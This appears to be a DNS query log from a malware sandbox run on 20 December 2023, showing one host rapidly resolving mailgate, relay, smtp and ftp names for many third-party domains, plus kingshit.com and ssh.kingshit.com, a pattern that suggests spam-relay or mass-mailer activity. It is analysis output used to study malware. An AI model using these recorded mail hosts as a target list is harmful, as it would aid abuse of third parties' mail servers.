Dec 20, 2023 03:13:37.278162956 CET	1.1.1.1	192.168.2.4	0x310	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.278162956 CET	1.1.1.1	192.168.2.4	0x310	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.305314064 CET	1.1.1.1	192.168.2.4	0x47dc	No error (0)	ftp.recipe-for-kids.com		64.91.249.20	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.308128119 CET	1.1.1.1	192.168.2.4	0x977a	No error (0)	ftp.theseekerchurch.com	websites016.homestead.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:37.308128119 CET	1.1.1.1	192.168.2.4	0x977a	No error (0)	websites016.homestead.com		108.167.135.109	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.329956055 CET	1.1.1.1	192.168.2.4	0x8ab1	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.329956055 CET	1.1.1.1	192.168.2.4	0x8ab1	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.390422106 CET	1.1.1.1	192.168.2.4	0xde25	Name error (3)	mailgate.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.424607038 CET	1.1.1.1	192.168.2.4	0x5e27	Name error (3)	mailgate.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.464682102 CET	1.1.1.1	192.168.2.4	0xf268	Name error (3)	mailgate.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.468543053 CET	1.1.1.1	192.168.2.4	0xc72e	Name error (3)	mailgate.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.468614101 CET	1.1.1.1	192.168.2.4	0xfa90	Name error (3)	mailgate.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.476439953 CET	1.1.1.1	192.168.2.4	0xeb88	Name error (3)	mailgate.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.498325109 CET	1.1.1.1	192.168.2.4	0xf986	Name error (3)	mailgate.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.513341904 CET	1.1.1.1	192.168.2.4	0x5a95	Name error (3)	mailgate.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.569493055 CET	1.1.1.1	192.168.2.4	0x132f	Name error (3)	mailgate.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.571460962 CET	1.1.1.1	192.168.2.4	0xb891	Name error (3)	mailgate.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.580939054 CET	1.1.1.1	192.168.2.4	0xb117	Name error (3)	mailgate.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.611320019 CET	1.1.1.1	192.168.2.4	0x53c3	Name error (3)	mailgate.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.613172054 CET	1.1.1.1	192.168.2.4	0xb26a	Name error (3)	relay.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.614434004 CET	1.1.1.1	192.168.2.4	0xbbc3	Name error (3)	mailgate.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.618756056 CET	1.1.1.1	192.168.2.4	0x7aea	Name error (3)	relay.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.626509905 CET	1.1.1.1	192.168.2.4	0x2657	Name error (3)	relay.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.640366077 CET	1.1.1.1	192.168.2.4	0xf31	Name error (3)	mailgate.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.645281076 CET	1.1.1.1	192.168.2.4	0x28b8	Name error (3)	relay.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.652268887 CET	1.1.1.1	192.168.2.4	0x11bf	Name error (3)	mailgate.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.703907967 CET	1.1.1.1	192.168.2.4	0x4cbc	Name error (3)	mailgate.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.716862917 CET	1.1.1.1	192.168.2.4	0x281a	Name error (3)	mailgate.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.747466087 CET	1.1.1.1	192.168.2.4	0x412d	Name error (3)	relay.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.777702093 CET	1.1.1.1	192.168.2.4	0xe969	Name error (3)	mailgate.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.869452000 CET	1.1.1.1	192.168.2.4	0x72ef	Name error (3)	relay.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.871341944 CET	1.1.1.1	192.168.2.4	0x56ab	Name error (3)	relay.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.874025106 CET	1.1.1.1	192.168.2.4	0x1b67	Name error (3)	relay.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.877424002 CET	1.1.1.1	192.168.2.4	0x79d0	Name error (3)	mailgate.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.890012026 CET	1.1.1.1	192.168.2.4	0xdb04	Name error (3)	relay.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.953393936 CET	1.1.1.1	192.168.2.4	0x190	Name error (3)	relay.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.964484930 CET	1.1.1.1	192.168.2.4	0xc669	Name error (3)	relay.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.976998091 CET	1.1.1.1	192.168.2.4	0xb86	Name error (3)	relay.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.008549929 CET	1.1.1.1	192.168.2.4	0x62ab	Name error (3)	relay.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.158559084 CET	1.1.1.1	192.168.2.4	0x5f40	Name error (3)	relay.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.165388107 CET	1.1.1.1	192.168.2.4	0xefb5	Name error (3)	relay.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.167536020 CET	1.1.1.1	192.168.2.4	0xb771	Name error (3)	relay.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.174603939 CET	1.1.1.1	192.168.2.4	0xb601	Name error (3)	relay.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.188734055 CET	1.1.1.1	192.168.2.4	0x5df	Name error (3)	relay.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.190550089 CET	1.1.1.1	192.168.2.4	0x8d7	Name error (3)	relay.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.193717003 CET	1.1.1.1	192.168.2.4	0x5995	Name error (3)	relay.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.200908899 CET	1.1.1.1	192.168.2.4	0x62f	Name error (3)	relay.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.209644079 CET	1.1.1.1	192.168.2.4	0x667e	Name error (3)	relay.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.217637062 CET	1.1.1.1	192.168.2.4	0xa847	Name error (3)	relay.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.219429016 CET	1.1.1.1	192.168.2.4	0xcfe8	Name error (3)	relay.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.267069101 CET	1.1.1.1	192.168.2.4	0x56e3	Name error (3)	relay.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.296154022 CET	1.1.1.1	192.168.2.4	0xe922	Name error (3)	smtp.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.326152086 CET	1.1.1.1	192.168.2.4	0xddaa	Name error (3)	smtp.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.382297039 CET	1.1.1.1	192.168.2.4	0xd275	Name error (3)	smtp.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.512943983 CET	1.1.1.1	192.168.2.4	0xd363	Name error (3)	smtp.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.592123985 CET	1.1.1.1	192.168.2.4	0x7328	Name error (3)	smtp.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.618913889 CET	1.1.1.1	192.168.2.4	0x443c	Name error (3)	smtp.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.679543018 CET	1.1.1.1	192.168.2.4	0xb994	Name error (3)	smtp.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.687508106 CET	1.1.1.1	192.168.2.4	0x5afe	Name error (3)	smtp.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.689393044 CET	1.1.1.1	192.168.2.4	0x2d7a	Name error (3)	smtp.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.691252947 CET	1.1.1.1	192.168.2.4	0x12e	Name error (3)	smtp.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.695194960 CET	1.1.1.1	192.168.2.4	0xf0c6	Name error (3)	relay.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.702048063 CET	1.1.1.1	192.168.2.4	0x4202	Name error (3)	relay.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.702086926 CET	1.1.1.1	192.168.2.4	0x84f2	Name error (3)	smtp.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.718182087 CET	1.1.1.1	192.168.2.4	0xa743	Name error (3)	smtp.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.724957943 CET	1.1.1.1	192.168.2.4	0x95bc	Name error (3)	relay.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.746500015 CET	1.1.1.1	192.168.2.4	0xc185	Name error (3)	smtp.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.756114960 CET	1.1.1.1	192.168.2.4	0x628c	Name error (3)	smtp.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.803433895 CET	1.1.1.1	192.168.2.4	0x777e	Name error (3)	smtp.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.831131935 CET	1.1.1.1	192.168.2.4	0xaa37	Name error (3)	relay.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.832710028 CET	1.1.1.1	192.168.2.4	0x3849	Name error (3)	relay.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.836205959 CET	1.1.1.1	192.168.2.4	0x378e	Name error (3)	relay.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.837030888 CET	1.1.1.1	192.168.2.4	0xe85e	Name error (3)	relay.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.859926939 CET	1.1.1.1	192.168.2.4	0x5485	Name error (3)	relay.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.864581108 CET	1.1.1.1	192.168.2.4	0xf26	Name error (3)	smtp.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.868418932 CET	1.1.1.1	192.168.2.4	0x716d	Name error (3)	relay.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.897332907 CET	1.1.1.1	192.168.2.4	0x2ba9	Name error (3)	relay.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.901900053 CET	1.1.1.1	192.168.2.4	0x1845	Name error (3)	smtp.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.930814028 CET	1.1.1.1	192.168.2.4	0xf44	Name error (3)	relay.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.944741964 CET	1.1.1.1	192.168.2.4	0x9843	Name error (3)	relay.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.944901943 CET	1.1.1.1	192.168.2.4	0xf389	Name error (3)	smtp.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.955740929 CET	1.1.1.1	192.168.2.4	0x580d	Name error (3)	relay.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.956670046 CET	1.1.1.1	192.168.2.4	0x2f12	Name error (3)	relay.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.972608089 CET	1.1.1.1	192.168.2.4	0x9ba9	Name error (3)	smtp.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.095957041 CET	1.1.1.1	192.168.2.4	0x4fbd	Name error (3)	relay.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.117461920 CET	1.1.1.1	192.168.2.4	0x2c1	Name error (3)	relay.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.221330881 CET	1.1.1.1	192.168.2.4	0xecbf	Name error (3)	smtp.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.261981010 CET	1.1.1.1	192.168.2.4	0xb190	Name error (3)	relay.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.278932095 CET	1.1.1.1	192.168.2.4	0x9cd0	Name error (3)	relay.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.378740072 CET	1.1.1.1	192.168.2.4	0x8380	Name error (3)	smtp.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.388266087 CET	1.1.1.1	192.168.2.4	0x8298	Name error (3)	smtp.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.395733118 CET	1.1.1.1	192.168.2.4	0xabcd	Name error (3)	smtp.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.448982954 CET	1.1.1.1	192.168.2.4	0x4830	Name error (3)	smtp.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.500916958 CET	1.1.1.1	192.168.2.4	0xfa25	Name error (3)	smtp.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.548046112 CET	1.1.1.1	192.168.2.4	0x6c78	Name error (3)	relay.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.550853014 CET	1.1.1.1	192.168.2.4	0x6155	Name error (3)	smtp.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.552170992 CET	1.1.1.1	192.168.2.4	0x3c93	Name error (3)	smtp.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.593668938 CET	1.1.1.1	192.168.2.4	0xc885	Name error (3)	smtp.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.619431973 CET	1.1.1.1	192.168.2.4	0x6063	Name error (3)	smtp.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.634613037 CET	1.1.1.1	192.168.2.4	0x208d	Name error (3)	smtp.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.697238922 CET	1.1.1.1	192.168.2.4	0x180	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.697249889 CET	1.1.1.1	192.168.2.4	0x180	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.697259903 CET	1.1.1.1	192.168.2.4	0x180	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.697410107 CET	1.1.1.1	192.168.2.4	0x180	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.703370094 CET	1.1.1.1	192.168.2.4	0xdd32	Name error (3)	smtp.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.725548029 CET	1.1.1.1	192.168.2.4	0x144	Name error (3)	smtp.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.738753080 CET	1.1.1.1	192.168.2.4	0x162f	Name error (3)	smtp.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.775597095 CET	1.1.1.1	192.168.2.4	0x38b	Name error (3)	smtp.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.804306030 CET	1.1.1.1	192.168.2.4	0x7879	Name error (3)	smtp.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.826931953 CET	1.1.1.1	192.168.2.4	0x716d	Name error (3)	smtp.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.831167936 CET	1.1.1.1	192.168.2.4	0x3cd8	Name error (3)	smtp.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.838828087 CET	1.1.1.1	192.168.2.4	0x3ff2	Name error (3)	smtp.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.844065905 CET	1.1.1.1	192.168.2.4	0x3797	Name error (3)	smtp.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.860008955 CET	1.1.1.1	192.168.2.4	0xff3e	Name error (3)	smtp.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.864358902 CET	1.1.1.1	192.168.2.4	0xb250	Name error (3)	smtp.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.937295914 CET	1.1.1.1	192.168.2.4	0x3e6b	Name error (3)	smtp.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.012767076 CET	1.1.1.1	192.168.2.4	0x63ab	Name error (3)	smtp.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.055963039 CET	1.1.1.1	192.168.2.4	0x3682	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.131522894 CET	1.1.1.1	192.168.2.4	0xa666	Server failure (2)	ssh.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.131592035 CET	1.1.1.1	192.168.2.4	0xa666	Server failure (2)	ssh.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.131617069 CET	1.1.1.1	192.168.2.4	0xa666	Server failure (2)	ssh.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.131707907 CET	1.1.1.1	192.168.2.4	0xa666	Server failure (2)	ssh.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.156501055 CET	1.1.1.1	192.168.2.4	0xe091	Name error (3)	smtp.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.705291033 CET	1.1.1.1	192.168.2.4	0xa104	Name error (3)	mailgate.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.744371891 CET	1.1.1.1	192.168.2.4	0x317b	No error (0)	mxb.ovh.net		46.105.45.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.763783932 CET	1.1.1.1	192.168.2.4	0xd68c	No error (0)	ftp.horsetech.com	horsetech.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:40.763783932 CET	1.1.1.1	192.168.2.4	0xd68c	No error (0)	horsetech.com		209.126.24.60	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.084686995 CET	1.1.1.1	192.168.2.4	0x566a	Name error (3)	mailgate.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.656033039 CET	1.1.1.1	192.168.2.4	0x5c39	Name error (3)	mailgate.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.670372009 CET	1.1.1.1	192.168.2.4	0x7ac0	Name error (3)	mailgate.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.671138048 CET	1.1.1.1	192.168.2.4	0xc6f0	Name error (3)	mailgate.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.673015118 CET	1.1.1.1	192.168.2.4	0xb090	Name error (3)	mailgate.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.687930107 CET	1.1.1.1	192.168.2.4	0x295b	Name error (3)	mailgate.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.692363024 CET	1.1.1.1	192.168.2.4	0x8cd9	Name error (3)	mailgate.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.694880009 CET	1.1.1.1	192.168.2.4	0xbc7d	Name error (3)	mailgate.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.699382067 CET	1.1.1.1	192.168.2.4	0xcabd	Name error (3)	mailgate.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.703821898 CET	1.1.1.1	192.168.2.4	0xdc2f	Name error (3)	mailgate.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.708801985 CET	1.1.1.1	192.168.2.4	0x2d3a	Name error (3)	mailgate.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.720345020 CET	1.1.1.1	192.168.2.4	0xab09	Name error (3)	mailgate.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.722800970 CET	1.1.1.1	192.168.2.4	0xbfa7	Name error (3)	mailgate.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.730501890 CET	1.1.1.1	192.168.2.4	0x7faa	Name error (3)	mailgate.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.730649948 CET	1.1.1.1	192.168.2.4	0x51a5	Name error (3)	mailgate.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.804291010 CET	1.1.1.1	192.168.2.4	0x1fe2	Name error (3)	mailgate.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.805958986 CET	1.1.1.1	192.168.2.4	0x4ea	Name error (3)	mailgate.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.807972908 CET	1.1.1.1	192.168.2.4	0x3c2	Name error (3)	mailgate.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.824162006 CET	1.1.1.1	192.168.2.4	0x1f49	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.827229023 CET	1.1.1.1	192.168.2.4	0x2c	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.846411943 CET	1.1.1.1	192.168.2.4	0x29a5	Name error (3)	mailgate.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.852138042 CET	1.1.1.1	192.168.2.4	0x5ff4	Name error (3)	mailgate.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.864773989 CET	1.1.1.1	192.168.2.4	0xd3d6	Name error (3)	mailgate.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.875644922 CET	1.1.1.1	192.168.2.4	0xa5e7	Name error (3)	mailgate.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
